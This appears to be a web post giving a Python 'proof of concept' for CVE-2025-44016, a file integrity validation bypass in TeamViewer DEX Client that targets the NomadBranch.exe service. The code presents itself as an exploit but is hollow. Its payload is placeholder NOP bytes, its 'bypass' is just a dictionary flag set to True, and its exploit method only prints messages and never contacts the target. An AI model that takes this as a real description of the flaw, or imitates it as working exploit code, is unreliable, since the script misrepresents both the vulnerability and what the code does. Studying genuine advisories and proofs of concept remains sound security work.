CVE-2025-44016 TeamViewer DEX Client文件完整性验证绕过漏洞

// CVE-2025-44016 PoC - File Integrity Validation Bypass // This PoC demonstrates the vulnerability in TeamViewer DEX Client // Note: This is for educational purposes only import struct import hashlib class CVE_2025_44016_PoC: def __init__(self): self.target_service = "NomadBranch.exe" self.malicious_payload = b"\x90" * 256 # Placeholder payload def generate_valid_hash(self, payload): """Generate a valid hash for the malicious file""" return hashlib.sha256(payload).hexdigest() def craft_malicious_request(self): """Craft a request that bypasses file validation""" payload = self.malicious_payload valid_hash = self.generate_valid_hash(payload) # Malicious request structure request = { "file_content": payload, "file_hash": valid_hash, "validation_bypass": True, "target_service": self.target_service } return request def exploit(self, target_ip): """Execute the exploit""" request = self.craft_malicious_request() # Send crafted request to target # The service will incorrectly validate the malicious file print(f"[*] Sending crafted request to {target_ip}") print(f"[*] File hash: {request['file_hash']}") print(f"[*] Validation bypass: {request['validation_bypass']}") return True if __name__ == "__main__": poc = CVE_2025_44016_PoC() poc.exploit("target_ip")